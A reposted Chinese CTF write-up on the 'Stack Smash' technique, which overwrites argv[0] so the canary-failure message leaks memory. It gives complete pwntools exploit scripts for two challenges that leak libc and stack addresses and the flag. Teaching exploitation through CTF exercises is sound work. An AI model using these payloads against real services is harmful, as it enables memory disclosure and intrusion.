浅析ROP之Stack Smash

admin 2021年12月6日20:08:54评论81 views字数 7143阅读23分48秒阅读模式

浅析ROP之Stack Smash

0x00 前言

Stack Smash 技巧算是 ROP 中一种比较巧妙的利用吧,在 ctf-wiki 上也说到了这个技巧。但是看完了也感觉是懵懵懂懂的,所以这里结合例子再做一个更细致的总结,涉及到的基本知识也会比较多。

0x01 预备知识

1.Linux的环境变量(environ)

第一种获取环境变量的方法是使用getenv函数:


getenv能通过传入键名的方法获取到值

  • 例如对于环境变量 LC_PAPER=zh_CN.UTF-8,getenv("LC_PAPER")就可以获取到他的值。

关于环境变量的详细解释可以看这里:
http://tacxingxing.com/2017/12/16/environ/

区别于第一种只能获取单个的环境变量,另一种方式是使用environ 变量来获得所有的环境变量的值


environ 变量作为一个指针指向了环境变量的字符指针数组的首地址。


浅析ROP之Stack Smash


这里就简单演示一下 environ 变量的使用方法:


#include <unistd.h>  #include <stdio.h>extern char **environ;  int main(){     char **env = environ;      while(*env){       printf("%sn",*env);       env++;     }     exit(0);   }  


将这段代码编译运行以后,可以看到将当前的环境变量全部打印出来了。


浅析ROP之Stack Smash


里我们只要知道 environ 变量的实际地址是指向栈的基地址(高地址)就行了。

2.canary 保护


Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。

也就是在当前函数的 EBP 和输入点插入一个 "cookie" 信息,如果在栈溢出时将这个值覆盖了,程序就会抛出错误。

详细的介绍和绕过可以看这里

0x02 Stack Smash

在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印出 argv[0] 指针所指向的字符串


我们通过Stack Smash的源码来分析一下:


void __attribute__ ((noreturn)) __stack_chk_fail (void){   __fortify_fail ("stack smashing detected"); }void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){   /* The loop is added only to keep gcc happy.  */  while (1)     __libc_message (2, "*** %s ***: %s terminatedn",                     msg, __libc_argv[0] ?: "<unknown>"); }


stack_chk_fail 函数中调用了 fortify_fail 函数,并传入 msg:
stack smashing detected

之后对msg在 libc_message 函数中输出,这个函数还把 libc_argv[0] 作为参数输出了。这个参数其实就是 argv[0] ,在命令行中也就是程序名


浅析ROP之Stack Smash


在程序执行时, argv[0] 会放在栈中,利用栈溢出可以将这个值覆盖为 got 表中的值,在执行 __stack_chk_fail 函数时,利用输出信息就可以输出我们想要的 got 表信息,又给了 libc 库,进而可以得到 libc 的基地址。

得到基地址之后,我们可以进一步利用,输出栈地址以及栈中的信息

0x03 例题

这里拿一道网鼎杯的 pwn1-GUESS 来讲解。

IDA中的题目代码:


__int64 __fastcall main(__int64 a1, char **a2, char **a3){   __int64 result; // rax@9  __int64 v4; // rcx@13  __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1  int v6; // [sp+1Ch] [bp-84h]@5  __int64 v7; // [sp+20h] [bp-80h]@1  __int64 v8; // [sp+28h] [bp-78h]@1  char buf; // [sp+30h] [bp-70h]@4  char s2; // [sp+60h] [bp-40h]@6  __int64 v11; // [sp+98h] [bp-8h]@1  v11 = *MK_FP(__FS__, 40LL);   v8 = 3LL;   LODWORD(stat_loc.__uptr) = 0;   v7 = 0LL;   sub_4009A6();   HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);   if ( HIDWORD(stat_loc.__iptr) == -1 )   {     perror("./flag.txt");     _exit(-1);   }   read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);   close(SHIDWORD(stat_loc.__iptr));   puts("This is GUESS FLAG CHALLENGE!");   while ( 1 )   {     if ( v7 >= v8 )     {       puts("you have no sense... bye :-) ");       result = 0LL;       goto LABEL_13;     }     v6 = sub_400A11();     if ( !v6 )       break;     ++v7;     wait(&stat_loc);   }   puts("Please type your guessing flag");   gets(&s2);   if ( !strcmp(&buf, &s2) )     puts("You must have great six sense!!!! :-o ");   else    puts("You should take more effort to get six sence, and one more challenge!!");   result = 0LL; LABEL_13:   v4 = *MK_FP(__FS__, 40LL) ^ v11;   return result; }


运行程序,程序会接收三次的输入。


浅析ROP之Stack Smash


很明显在gets函数处存在栈溢出,但是我们用 checksec(pwntools自带) 检查的时候,发现存在 canary 保护,但是没有PIE保护(堆栈地址空间随机化)

这边在反汇编代码可以看到在 main 函数结束时检查了 canary 的值,与 rcx 进行比较, canary 的值是放在 fs 寄存器中的,理论上我们是不能正常查看了。


.text:0000000000400B8D loc_400B8D:                             ; CODE XREF: main+11Aj.text:0000000000400B8D                 mov     rcx, [rbp+var_8].text:0000000000400B91                 xor     rcx, fs:28h.text:0000000000400B9A                 jz      short locret_400BA1.text:0000000000400B9C                 call    ___stack_chk_fail


所以这里除非用爆破出 canary 值,否则就无法正常泄露得到他的值,但是我们可以使用上面说的 Stack Smash 技巧。


浅析ROP之Stack Smash


解题思路

我们这里一步步来。

1.先 leak 出libc的基地址

要泄露出 libc 的基地址就要获得某个函数在 got 表中的地址。这里的 got 表中的地址就用 Stack Smash 这个技巧来获得。


首先用 gdb 在 gets 函数处下一个断点


浅析ROP之Stack Smash


单步 n 之后,输入一堆 aaa


  • 这里为了测试在本地新建了一个 flag 文件,可以看到按照程序的正常流程走下去,此时 flag 已经被读取到栈上了


浅析ROP之Stack Smash


然后使用 stack 20 这个命令来查看栈上的信息。


浅析ROP之Stack Smash


以看到此时 0x7fffffffdf38 这个栈地址存储的是 argv[0] 的值,也就是我们需要利用的值。


我们输入的值(aaa...)是位于 0x7fffffffde10 的地址处,计算得到输入到 argv[0] 的距离:


浅析ROP之Stack Smash


总共是 296 个字节,也就是 0x128 的十进制的值。

所以我们可以构造 payload ,此时 libc_start_main_got 的值就是我们需要泄露的 argv[0] 的值


payload = 'a' * 0x128 + p64(libc_start_main_got)


得到的值需要用 u64 函数进行解包(需要8个字节),所以需要用 ljust 进行左填充到8个字节。

将得到的 got 表的真实地址减去 __libc_start_main 函数在 libc 库中的偏移地址就得到了 libc 的基地址了。

第一步的exp:


from pwn import *#context.log_level = 'debug'p = process('./GUESS')LOCAL = 1if LOCAL:         libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')else:   #remote        libc = ELF('libc-2.23.so')libc_start_main_got = 0x602048libc_start_main_off = libc.symbols['__libc_start_main']p.recvuntil('guessing flagn')payload = 'a' * 0x128 + p64(libc_start_main_got)p.sendline(payload)  p.recvuntil('detected ***: ')libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))libc_base_addr = libc_start_main_addr - libc_start_main_off print 'Libc base addr: ' + hex(libc_base_addr)


浅析ROP之Stack Smash


2.leak 出栈的地址

这里为什么要 leak 出栈的地址呢?是因为程序没有开启PIE保护,所以 environ 变量中存放的栈地址的值和 flag 的距离是不变的,我们如果得到了栈地址以后,算一下与 flag 的距离就可以 leak 出 flag 的值了。

根据上面所说的,要 leak 出栈的地址直接 leak 出 environ 变量的值就行。

所以这里根据得到 libc 的基地址加上 environ 变量在 libc 库中的偏移就可以得到栈的地址。

exp如下:

environ_addr = libc_base_addr + libc.symbols['_environ']  payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1)  p.recvuntil('stack smashing detected ***: ')  stack_addr = u64(p.recv(6).ljust(0x8,'x00'))print "stack: "+hex(stack_addr)
  • 这里的 symbols 方法的键为 environ 或者 _environ 都是一样的结果

如图,这样我们就得到栈的地址了。


浅析ROP之Stack Smash


  • 这里我在本地加载的 libc 库和远程的不同,所以地址会有所差异。但是这里有个小技巧即可以根据 libc 基地址后三位是否为0来判断 libc 的基地址是否正确。

3.leak 出 flag 的值

还是在 gdb 中的调用 gets 函数处下断点。


b *0x400b23


依旧是先  stack 20 输出一下栈信息,可以看到我们需要的 flag 的地址是


0x7fffffffdd30


浅析ROP之Stack Smash


*使用 `b environ` 直接可以查看当前 environ 变量地址中存放的值(也就是栈的地址)**,再计算栈地址到 flag 的距离

在 gdb 中,看到了当前的栈地址为:0x7fffffffde98


gdb-peda$ b * environ Breakpoint 2 at 0x7fffffffde98


所以可以计算出两者的距离为 0x168:


gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30$1 = 0x168
  • 这里是固定为 0x168 ,如果不信的话可以在 gdb 中多调试几次。

也就是说下次 leak 的时候,要得到 flag 的值,直接使用栈的地址减去 0x168 就得到了 flag 的地址,再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。

也就是:


payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)


运行exp得到flag。


浅析ROP之Stack Smash


最后的exp:

from pwn import *#context.log_level = 'debug'p = process('./GUESS')LOCAL = 1if LOCAL:         libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')else:   #remote        libc = ELF('libc-2.23.so')libc_start_main_got = 0x602048libc_start_main_off = libc.symbols['__libc_start_main']p.recvuntil('guessing flagn')payload = 'a' * 0x128 + p64(libc_start_main_got)p.sendline(payload)  p.recvuntil('detected ***: ')libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))libc_base_addr = libc_start_main_addr - libc_start_main_off print 'Libc base addr: ' + hex(libc_base_addr)environ_addr = libc_base_addr + libc.symbols['_environ']payload1 = 'a' * 0x128 + p64(environ_addr)p.recvuntil('Please type your guessing flag')p.sendline(payload1)  p.recvuntil('stack smashing detected ***: ')stack_addr = u64(p.recv(6).ljust(0x8,'x00'))print 'stack base addr: ' + hex(stack_addr)payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)p.recvuntil('Please type your guessing flag')p.sendline(payload2)  p.interactive()

other

这里还有一道例题也是关于 Stack Smash 的(Smashes)
题目链接:https://www.jarvisoj.com/challenges

checksec

依旧先检查一下程序的保护机制:


浅析ROP之Stack Smash


满足 Stack Smash 的使用条件:


canary protect No PIE


IDA代码

浅析ROP之Stack Smash



在 _IO_gets 函数处存在栈溢出,还是按照套路来:在gdb中查看与 argv[0] 的偏移


浅析ROP之Stack Smash


输出与 argv[0] 偏移为 0x218


gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70$2 = 0x218

构造payload


payload = 'a' * 0x218 + p64(需要泄露的地址)

仔细看程序有一个 flag 的提示,也就是这个 flag 是在服务端的


浅析ROP之Stack Smash


在 gdb 中 find CTF,发现了两处的 flag,我们传入上一处的地址


浅析ROP之Stack Smash


关于为什么这么传入,可以看这里:
https://blog.csdn.net/github_36788573/article/details/80693994

最后的exp:

from pwn import *  context.log_level = 'debug'LOCAL = 0if LOCAL:         r = process('./smashes')else:         r = remote('pwn.jarvisoj.com',9877)  payload = 'a' * 0x218 + p64(0x400D20)  r.recvuntil("Hello!nWhat's your name? ")  r.sendline(payload)  r.interactive()                                                        

0x04 总结

Stack Smash 的适应条件:

  • 开启了 canary 保护

  • 读取了关键信息(flag)到栈上,但是没有开启 PIE 保护


浅析ROP之Stack Smash


本文始发于微信公众号(疯猫网络):浅析ROP之Stack Smash

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月6日20:08:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析ROP之Stack Smashhttp://cn-sec.com/archives/513860.html

发表评论

匿名网友 填写信息